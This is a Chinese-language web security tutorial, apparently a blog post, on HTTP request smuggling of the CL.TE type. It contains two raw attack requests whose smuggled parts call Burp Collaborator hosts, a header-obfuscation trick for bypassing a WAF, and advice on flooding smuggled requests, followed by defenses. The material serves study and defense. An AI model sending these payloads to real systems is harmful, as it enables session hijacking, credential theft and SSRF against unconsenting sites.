【Web安全】HTTP请求走私与CL.TE漏洞从入门到实战

文章目录

- [1. 漏洞背景与前置知识](#1. 漏洞背景与前置知识)
- - [1.1 HTTP/1.1的广泛使用与降级风险](#1.1 HTTP/1.1的广泛使用与降级风险)
  - [1.2 HTTP/1.1 消息边界判断机制](#1.2 HTTP/1.1 消息边界判断机制)
- [2. CL.TE 漏洞原理详解](#2. CL.TE 漏洞原理详解)
- - [2.1 漏洞全称与核心定义](#2.1 漏洞全称与核心定义)
  - [2.2 走私攻击的核心流程](#2.2 走私攻击的核心流程)
- [3. 实战案例分析（基于两个真实攻击样本）](#3. 实战案例分析（基于两个真实攻击样本）)
- - [3.1 案例一：基础 CL.TE 走私触发 SSRF](#3.1 案例一：基础 CL.TE 走私触发 SSRF)
  - [3.2 案例二：带混淆头的 CL.TE 漏洞利用](#3.2 案例二：带混淆头的 CL.TE 漏洞利用)
  - [3.3 攻击工具与实战技巧](#3.3 攻击工具与实战技巧)
- [4. 参考漏洞案例](#4. 参考漏洞案例)
- [5. 防御方式](#5. 防御方式)
- - [5.1 协议层面防御](#5.1 协议层面防御)
  - [5.2 配置层面防御](#5.2 配置层面防御)
  - [5.3 架构层面防御](#5.3 架构层面防御)
- [6. 总结](#6. 总结)

⚠️本博文所涉安全渗透测试技术、方法及案例，仅用于网络安全技术研究与合规性交流，旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前，必须获得目标网络 / 系统所有者的明确且书面授权，严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

1. 漏洞背景与前置知识

1.1 HTTP/1.1的广泛使用与降级风险

当前互联网中，HTTP/1.1 仍然是最主流的协议版本，即使目标服务支持 HTTP/2，攻击者也可通过工具（如 Burp Suite）强制将连接降级为 HTTP/1.1，从而触发基于消息边界解析差异的漏洞。这也是请求走私漏洞至今仍有大量攻击面的核心原因。

1.2 HTTP/1.1 消息边界判断机制

HTTP/1.1 定义了两种核心方式来确定请求体的结束位置：

Content-Length（CL） ：明确指定请求体的字节长度，仅在 POST 请求中生效，读取范围包含请求体末尾的 \r\n。
Transfer-Encoding: chunked（TE） ：分块编码，请求体被拆分为多个块，每个块以「十六进制长度 + \r\n + 块内容 + \r\n」格式传输，最终以 0\r\n\r\n 标记结束。

当前端代理与后端服务器对这两种机制的解析优先级不一致时，就会产生消息边界分歧，为请求走私埋下隐患。

2. CL.TE 漏洞原理详解

2.1 漏洞全称与核心定义

CL.TE 漏洞（Content-Length.Transfer-Encoding Vulnerability）是请求走私的经典类型：

前端代理：优先解析 Content-Length 头，按指定长度截断请求，认为请求已结束。
后端服务器：优先解析 Transfer-Encoding 头，按分块编码规则继续处理后续数据。

这种解析差异会导致攻击者嵌入的恶意请求被后端误认为是下一个合法用户的新请求，从而实现「请求走私」。

2.2 走私攻击的核心流程

攻击者构造同时包含 Content-Length 和 Transfer-Encoding 头的特殊请求，在请求体中嵌入恶意请求。
前端按 Content-Length 截断请求，将前半部分视为完整请求转发给后端，同时认为连接已处理完毕。
后端按 Transfer-Encoding 解析，发现请求未结束，继续读取后续嵌入的恶意请求。
恶意请求被存入后端连接池，当下一个正常用户发起请求时，后端会将恶意请求拼接在用户请求前，导致用户请求被劫持或重定向。

3. 实战案例分析（基于两个真实攻击样本）

3.1 案例一：基础 CL.TE 走私触发 SSRF

攻击请求样本：

http 复制代码

POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 4

64
POST /sf HTTP/1.1
Host: 9oyta0plzlratbswtnnl67cvlm7cvl.burpcollaborator.net
Content-Length: 15

0

解析过程：

前端：按 Content-Length: 4 读取前4字节（64\r\n），认为请求结束。
后端：按 Transfer-Encoding 解析，64 是分块长度，继续读取后续的 POST /sf 请求，将其视为新请求并向 Burp Collaborator 发起外带访问，触发 SSRF。

3.2 案例二：带混淆头的 CL.TE 漏洞利用

攻击请求样本：

http 复制代码

POST / HTTP/1.1
Host: xxx.gov
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
̧Content-length: 4  // 绕过WAF
Transfer-Encoding : chunked

a2
POST /hopefully404 HTTP/1.1
Host: o0p31lhhe946t0sns65oy4vsejkb80.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

解析过程：

混淆技巧：Content-length 前添加特殊字符 ̧，绕过 WAF 对「同时存在 CL/TE 头」的规则检测。
走私逻辑：与案例一一致，后端将 POST /hopefully404 视为新请求，向 Burp Collaborator 发起请求，验证漏洞存在。

3.3 攻击工具与实战技巧

Burp Suite 协作 ：使用 Burp Collaborator 接收外带请求日志，确认后端是否发起恶意访问。
批量请求 ：CL.TE 漏洞需要攻击者连续发送大量走私请求 ，配合 Intruder 模块爆破，提高恶意请求被拼接至正常用户请求的概率。
危害升级：成功后可劫持用户请求，窃取访问令牌、Cookie 等敏感信息，甚至将用户重定向至钓鱼站点。

4. 参考漏洞案例

以下是两个公开的 CL.TE 漏洞真实报告，可用于深入学习：

HackerOne Report 726773：某站点的 CL.TE 请求走私漏洞，可窃取用户会话。
HackerOne Report 1063627：实验室环境的 CL.TE 漏洞，成功触发 SSRF 并验证外带访问。

5. 防御方式

5.1 协议层面防御

统一消息边界解析 ：前端与后端必须使用相同的消息边界判断规则 ，建议优先禁用 Transfer-Encoding，仅使用 Content-Length。
禁用 HTTP/1.1 降级：强制使用 HTTP/2，其基于帧的传输机制不存在消息边界解析差异。

5.2 配置层面防御

代理与后端一致化：确保反向代理（如 Nginx、Apache）与后端应用服务器（如 Tomcat、Node.js）的 HTTP 头解析逻辑完全一致，避免同时处理 CL/TE 头。
清洗异常请求 ：WAF 需拦截同时包含 Content-Length 和 Transfer-Encoding 的请求，以及包含特殊字符混淆的头字段。

5.3 架构层面防御

使用长连接池隔离：为不同用户或租户分配独立连接池，避免恶意请求污染公共连接池。
请求重放检测：监控异常外带请求（如访问 Burp Collaborator、未知域名），及时发现走私攻击行为。

6. 总结

CL.TE 漏洞是 HTTP 请求走私中最常见的类型，其本质是前端与后端对 HTTP 消息边界的解析不一致。通过构造特殊请求嵌入恶意代码，攻击者可劫持用户会话、窃取敏感信息甚至实现 SSRF。尽管 HTTP/2 已逐步普及，但由于 HTTP/1.1 的广泛存在，该漏洞仍需重点防范。

本文是「Web安全基础」系列内容，点击专栏导航查看全部系列内容。